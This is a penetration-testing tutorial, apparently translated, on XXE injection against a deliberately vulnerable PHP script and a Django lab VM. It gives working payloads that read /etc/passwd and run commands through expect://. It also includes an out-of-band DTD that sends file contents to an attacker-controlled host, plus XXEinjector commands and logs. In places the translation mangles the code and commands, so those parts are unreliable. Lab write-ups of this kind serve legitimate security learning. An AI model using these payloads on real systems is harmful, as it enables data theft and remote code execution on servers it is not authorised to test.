During penetration testing, we may encounter a vulnerability that allows us to perform XML eXternal Entity (XXE) Injection attacks. XXE Injection is a type of attack on an application that analyzes XML input. Although this is a relatively esoteric vulnerability compared to other web application attacks, such as Cross-Site Request Forgery (CSRF), we make the most of this vulnerability when it appears, since it can lead to the extraction of sensitive data and even remote code execution (RCE). In this article, we will look at setting up a vulnerable PHP server, exploiting the vulnerability manually, and then move on to a handy tool called XXEInjector to automate this process.
We will use two sites. The first is a simple PHP server, and the second is a virtual machine with a vulnerable Django web application. Links to applications and vulnerable scripts are provided at the end of the article.
Customization
Before learning more about this attack, it will be helpful to understand how a web application interacts with an XML document, allowing you to exploit this vulnerability. To do this, we use a PHP virtual machine that uses an XML document to validate credentials.
We use Ubuntu, PHP 5 and Apache as a web server as a virtual machine (but we do not recommend using Apache on production servers). You will also need a php-xml module for parsing XML.
')
For testing use the following code:
<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $user = $creds->user; $pass = $creds->pass; echo "You have logged in as user $user"; ?>
The above script is triggered when a request is made to /xml_injectable.php.
<creds> <user>Ed</user> <pass>mypass</pass> </creds>
The four lines above are expected to be inserted into the above PHP endpoint, and they will be saved in an XML file called xml.txt. This file uses the POST request data via CURL:

The most interesting aspect of analyzing input XML files is that they can contain code that points to a file on the server itself. This is an example of an external entity. We will look at the full range of external objects, including files hosted on the Internet via FTP and HTTP.
Let's modify the xml.txt file so that it contains the following code:
<source lang="xml"><?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY <b>xxe</b> SYSTEM <b>"file:///etc/passwd</b>" >]> <creds> <user><b>&xxe;</b></user> <pass>mypass</pass> </creds>
Notice the xxe element. After sending the request with POST data, the victim server will respond with the contents of / etc / passwd:

Xml.txt tells the server to look for an external object, the file: / etc / passwd, and then enter the contents in the "user" field.
Remote code execution
If luck is on our side, and the PHP parsing module is loaded, we can use RCE. Let's change the content of our file:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
The response from the server will be as follows:

However, such cases where RCE is possible through XXE are quite rare.
Automate XXE Injection with Burp and XXEinjector
Let's test automated tools to detect such vulnerabilities. We use the TurnKey Linux virtual machine, which runs the Django web application vulnerable to XXEi. We also use one of the popular web application vulnerability search tools - Burp Suite.
Unzip and run the VM configuration file (.vmx). The download file includes a readme file that helps you set up a private network on your computer.
The VM server has a vulnerable form - /static/mailingList.html. Send multiple random values ​​and scan the Burp request with a scanner.
Burp should alert us to the XXE vulnerability, along with some dependent XSS as a bonus.

In fact, the professional version of Burp is fast enough to use the Burp Collaborator, an external service that Burp can use to help detect vulnerabilities or use targets.
In essence, a Collaborator request sent by Burp to a vulnerable application is intended to call Burp Collaborator through DNS resolution and web requests, which, if successful, will inform Burp that the target computer has completed the malicious payload. Most vulnerabilities can be discovered by examining or logging the response, but sometimes with an external service such as Burp Collaborator, you can go to the next level. In this case, Burp pulled out the file / etc / passwd itself.
The following images show the work of the Collaborator.



To most accurately control the injection process, we use the XXEinjector. We will need a pending request. We will save this code in the file request.txt.

Methodology XXEinjector
XXEinjector sends a payload that tells the remote server to respond with the requested file.dtd. In the same request from XXEinjector, we call two other entities that can be executed only if file.dtd successfully goes to the victim's web server and is interpreted correctly. For example, in order for this to work on our PHP server, we need to specify the XXEinjector flag to encode our code in base64. Base64 uses a limited set of characters that will not cause interpreters to fail during the execution of an exploit (for example, quotes), and it needs an additional decoding step so that WAF / IDS / IPS cannot block it.
The request is as follows:
POST /xml_injectable.php HTTP / 1.1
User-Agent: Mozilla / 5.0 (Macintosh; Intel Mac OS X 10.11; rv: 49.0) Gecko / 20100101 Firefox / 49.0
Accept: text / html, application / xhtml + xml, application / xml; q = 0.9, * / *; q = 0.8
Accept-Language: en-US, en; q = 0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 158
Host: 192.168.242.139
Content-Type: application / x-www-form-urlencoded
<! DOCTYPE convert [<! ENTITY% remote SYSTEM " 192.168.240.1 : 80 / file.dtd">% remote;% int;% trick;]>
blah
mypass
The attacked server parses the request and inserts a “remote” for the contents of the file file.dtd (after accessing our attacking machine). File File.dtd looks like this:
<!ENTITY % payl SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.240.1:80/?p=%payl;'>">
Notice, we define a new entity, “payl,” which is the URL of the file we are trying to extract. Then we define two missing objects from the previous query: “int” and “trick”. Note that “trick” is an object defined in another object - “int”. Finally, note that this code is not encoded. Some characters are encoded due to the embedding of one object in another, but the request itself is not encoded in base64.
Now we have all our essences. Note that in the definition of the “trick” entity, we replace the contents of “payl” with the contents of / etc / passwd. This means that all the victim server has to do is send a request to the server running XXEinjector, passing the contents of / etc / passwd as a parameter to this URL. The application does not need to return the contents of the / etc / passwd file in response to the vulnerable web form / application page. It simply sends the request with the contents in this parameter. XXEinjector analyzes the parameter and saves it in a file. Done!
Practical example
Let's return to our first site - a simple PHP server that works with the xml_injectable.php script. Let's modify the PHP script by commenting on irrelevant code.
<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
Thus, the script loads an XML-formatted request into a PHP object. We parse an XML document in a PHP object. Let's run the sample request XXEinjector.
> sudo ruby ​​XXEinjector.rb --host = 192.168.240.1 - path = / etc / passwd
--file = phprequest.txt --proxy = 192.168.240.1: 8080 --oob = http --verbosePOST /xml_injectable.php HTTP / 1.1
Host: 192.168.242.139
User-Agent: Mozilla / 5.0 (Macintosh; Intel Mac OS X 10.11; rv: 49.0) Gecko / 20100101 Firefox / 49.0
Accept: text / html, application / xhtml + xml, application / xml; q = 0.9, * / *; q = 0.8
Accept-Language: en-US, en; q = 0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
XXEINJECT
blah
mypass
After launching this query, we get the following result from XXEinjector:
Enumeration locked.
Sending request with malicious XML:
192.168.242.139/xml_injectable.php
{"User-Agent" => "Mozilla / 5.0 (Macintosh; Intel Mac OS X 10.11; rv: 49.0) Gecko / 20100101 Firefox / 49.0", "Accept" => "text / html, application / xhtml + xml, application /xml;q=0.9,*/*;q=0.8 "," Accept-Language "=>" en-US, en; q = 0.5 "," Accept-Encoding "=>" gzip, deflate "," Connection "=>" Close "," Upgrade-Insecure-Requests "=>" 1 "," Content-Length "=>" 158 "}
<! DOCTYPE convert [<! ENTITY% remote SYSTEM
" 192.168.240.1 : 80 / file.dtd">% remote;% int;% trick;]>
blah
mypass
Got request for XML:
HTTP GET /file.dtd / 1.0
Responding with XML for: / etc / passwd
XML payload sent:
<! ENTITY% payl SYSTEM "file: /// etc / passwd">
<! ENTITY% int "<! ENTITY% trick SYSTEM
'http://192.168.240.1:80/?p=%payl;'> ">
FTP / HTTP did not get response. XML parser cannot parse provided file or the application is not responsive. Wait or Next?Due to the use of multiple flags, we can see exactly what XXEinjector is doing. We see that XXEinjector caused the victim server to respond with the file /file.dtd.
After examining our error log from Apache, we noticed that our loadXML method did not receive enough data to force it to issue a file.
[Sun Nov 06 09: 10: 46.145222 2016] [: error] [pid 1222] [client 192.168.242.1:64701] PHP Notice: DOMDocument :: loadXML (): PEReference:% int; not found in Entity, line: 1 in /var/www/html/xml_injectable.php on line 16
[Sun Nov 06 09: 10: 46.145257 2016] [: error] [pid 1222] [client 192.168.242.1:64701] PHP Notice: DOMDocument :: loadXML (): PEReference:% trick; not found in Entity, line: 1 in /var/www/html/xml_injectable.php on line 16
After some research into the semantics of XML and loadXML, we came to the realization that there is a problem with the encoding - with how the file is specified (/ etc / passwd). Fortunately, XXEinjector has a flag to encode this string. We simply add the --phpfilter flag to our request.
> sudo ruby ​​XXEinjector.rb --host = 192.168.240.1 - path = / etc / passwd - file = phprequest.txt - proxy = 192.168.240.1: 8080 - ooo = http - verbose - phpfilterResult of performance:
XXEinjector by Jakub PałaczyńskiDTD injected.
Enumeration locked.
Sending request with malicious XML:
192.168.242.139/xml_injectable.php
{"User-Agent" => "Mozilla / 5.0 (Macintosh; Intel Mac OS X 10.11; rv: 49.0) Gecko / 20100101 Firefox / 49.0", "Accept" => "text / html, application / xhtml + xml, application /xml;q=0.9,*/*;q=0.8 "," Accept-Language "=>" en-US, en; q = 0.5 "," Accept-Encoding "=>" gzip, deflate "," Connection "=>" Close "," Upgrade-Insecure-Requests "=>" 1 "," Content-Length "=>" 158 "}
<! DOCTYPE convert [<! ENTITY% remote SYSTEM " 192.168.240.1 : 80 / file.dtd">% remote;% int;% trick;]>
blah
mypass
Got request for XML:
HTTP GET /file.dtd / 1.0
Responding with XML for: / etc / passwd
XML payload sent:
<! ENTITY% payl SYSTEM "php: //filter/read=convert.base64-encode/resource=file: /// etc / passwd">
<! ENTITY% int "<! ENTITY% trick SYSTEM
'http://192.168.240.1:80/?p=%payl;'> ">
Response with file / directory content received:
GET /? P = cm9vdDp4OjA6M (rest of base64 encoded string) HTTP / 1.0
Enumeration unlocked.
Successfully logged file: / etc / passwd
Nothing else to do. Exiting.After checking in our catalog XXEinjector Logs we will see the cherished dumps.
Links
→
Vulnerable Django VM (password: mcfatty)
→
XXEinjector→
Vulnerable PHP Script